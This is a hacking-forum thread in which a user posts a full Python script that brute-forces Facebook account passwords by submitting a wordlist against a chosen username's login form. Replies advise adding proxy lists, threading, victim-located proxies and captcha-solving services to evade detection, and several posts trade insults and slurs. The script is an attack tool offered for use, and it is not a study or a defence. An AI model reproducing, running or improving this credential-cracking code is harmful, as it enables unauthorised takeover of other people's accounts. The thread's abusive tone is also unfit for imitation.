[DeLiiRiuM]

Hello guys, this is a Facebook cracker I made with Python 2.7. For this you will need some dependencies like mechanize and colorama
You can install mechanize by running "pip install mechanize" and the same for colorama. You will also need a decent wordlis, I recommend making your own. Once you have all of these copy and paste the code below into a .py file. Also make sure you place the wordlist in the same directory as the .py file.

Code

import mechanize
import os
from colorama import Fore, init

init()


print (Fore.GREEN + '''
,---.  .--.    ,--,  ,---.  ,---.    .---.   .---.  ,-. .-.                  
| .-' / /\ \ .' .')  | .-'  | .-.\  / .-. ) / .-. ) | |/ /                  
| `-./ /__\ \|  |(_) | `-.  | |-' \ | | |(_)| | |(_)| | /                    
| .-'|  __  |\  \    | .-'  | |--. \| | | | | | | | | | \                    
| |  | |  |)| \  `-. |  `--.| |`-' /\ `-' / \ `-' / | |) \                  
)\|  |_|  (_)  \____\/( __.'/( `--'  )---'   )---'  |((_)-'                  
(__)                 (__)   (__)     (_)     (_)     (_)                      
                          ,--,  ,---.    .--.    ,--,  ,-. .-.,---.  ,---.    
                        .' .')  | .-.\  / /\ \ .' .')  | |/ / | .-'  | .-.\  
  Enjoy my free tool!   |  |(_) | `-'/ / /__\ \|  |(_) | | /  | `-.  | `-'/  
                        \  \    |   (  |  __  |\  \    | | \  | .-'  |   (    
  Created by DeLiiRiuM   \  `-. | |\ \ | |  |)| \  `-. | |) \ |  `--.| |\ \  
                          \____\|_| \)\|_|  (_)  \____\|((_)-'/( __.'|_| \)\  
                                    (__)               (_)   (__)        (__)
''')



# Connects mechanize to facebook

b = mechanize.Browser()
b.set_handle_robots(False)
url = "https://www.facebook.com/login.php"
os.getcwd
Username = raw_input (Fore.GREEN + "\n Enter Facebook Username: ")
wordlist = raw_input (Fore.GREEN + " Enter Password List: ")
try:
        wordlist = open(wordlist, "r")
except:
        print (Fore.RED + "\n  [!]Error: Wordlist not found!")
        quit()



# Attempts each password in the password list

for password in wordlist:
        response = b.open(url)
        b.select_form(nr=0)

        b.form['email'] = (Username)
        b.form['pass'] = password.strip()
        b.method = "post"
        response = b.submit()


        # Prints the output
        if response.geturl() == "https://www.facebook.com/email/unreachable/":
                print (Fore.GREEN + "\n [+] Password found: " + password.strip())
                break
        else:
                 print (Fore.RED + "   [!] Incorrect Password: " + password.strip())

[TheWarOwl]

Might help to allow proxy lists. Facebook will catch on pretty fast.

[vorticalbox]

Might help to allow proxy lists. Facebook will catch on pretty fast.

Agreed plus its gonna be slow without threading. Something to work on.

[DeLiiRiuM]

Tiny typo.

lol where's the typo

[SIM-1866423]

what is quit function python has not such as function.

[oscpharder]

Impressive. got new thing colorama module.

[2073436]

Sorry OP but this thing is utterly useless
Facebook has basics things like rate limits in place
Browser fingerprints
They detect your IP

This script is useless, sorry

[DeLiiRiuM]

Sorry OP but this thing is utterly useless
Facebook has basics things like rate limits in place
Browser fingerprints
They detect your IP

This script is useless, sorry

Wrong, I can literally try hundreds of passwords. It kicks me off about every 100th password so I make an except block. I can put my password so far down the list and eventually it gets there and sais password found.

---

what is quit function python has not such as function.

Are you retarded? Please don't comment if you have no idea what you are talking about😏

[2073436]

Wrong, I can literally try hundreds of passwords. It kicks me off about every 100th password so I make an except block. I can put my password so far down the list and eventually it gets there and sais password found.

I've had other guys literally say and do the same thing with their own custom script but trust me, it doesn't work.
If you think that bruteforcing is a good shot, think again

Bruteforcing is the worst way to get access effectively

It could very well be that you haven't cleared cookies, used the same IP data and overall the exact same browser fingerprints

Furthermore, what are the chances someone's password is even in there?

If we go even further, even if you have got the password - Facebook can easily log these activities and prevent any suspiscious login (IP as main factor)

This is useless for effectively getting into accounts. Trust me.

[THAjir]

super bro.i think u have good talent and great future 👍

[Meloz]

As others have mentioned this does need improvement, and cracking targeted Facebook accounts is not really a good idea.
It could have either:
[*]2FA (2Factor Authentication).
[*]Very Strong Password.
[*]Could get country/state blocked due to different country/state of where it's being logged in. Could also be blocked by unrecognized user agent.
[*]This program does not have deathbycaptcha or 2captcha api system on it to break the captchas Facebook might throw after x amount of fails.

Edit:
If you could manage to get proxies from the same location as the victim and captchas, you might give this a try.
Nothing to really lose, nonetheless thank you very much OP for this script, I appreciate it.🤝

[DeLiiRiuM]

I've had other guys literally say and do the same thing with their own custom script but trust me, it doesn't work.
If you think that bruteforcing is a good shot, think again

Bruteforcing is the worst way to get access effectively

It could very well be that you haven't cleared cookies, used the same IP data and overall the exact same browser fingerprints

Furthermore, what are the chances someone's password is even in there?

If we go even further, even if you have got the password - Facebook can easily log these activities and prevent any suspiscious login (IP as main factor)

This is useless for effectively getting into accounts. Trust me.

When did I ever say it was the best way? lol how hard is it to read before you comment? This can be a very effective tool when used properly, but I never said it's the best method xD

---

As others have mentioned this does need improvement, and cracking targeted Facebook accounts is not really a good idea.
It could have either:
[*]2FA (2Factor Authentication).
[*]Very Strong Password.
[*]Could get country/state blocked due to different country/state of where it's being logged in. Could also be blocked by unrecognized user agent.
[*]This program does not have deathbycaptcha or 2captcha api system on it to break the captchas Facebook might throw after x amount of fails.

Edit:
If you could manage to get proxies from the same location as the victim and captchas, you might give this a try.
Nothing to really lose, nonetheless thank you very much OP for this script, I appreciate it.🤝

Some good advice, thank you. And your welcome

[SIM-1866423]

Wrong, I can literally try hundreds of passwords. It kicks me off about every 100th password so I make an except block. I can put my password so far down the list and eventually it gets there and sais password found.

---

Are you retarded? Please don't comment if you have no idea what you are talking about😏

Really scum ? You are trying force to exit with an exception and you are talking like you know what you are doing? Without any proxy,multithread you are trying to write brute force application and still can talking :Fappa: That's why stupid people should not coding ..

[Ensky]

Are you retarded? Please don't comment if you have no idea what you are talking about😏

You're acting as if you have a clue too. Stop being so fucking toxic.

Mnemosyne is a greater Python developer than both you and I. I'm all for helping new developers like yourself, but not with such a bad attitude, fix up or fuck off.

[SysAdmin]

what is quit function python has not such as function.

You realise both exit() and quit() functions exist in Python right?

Although they should only be used in the interactive interpreter and not in programs.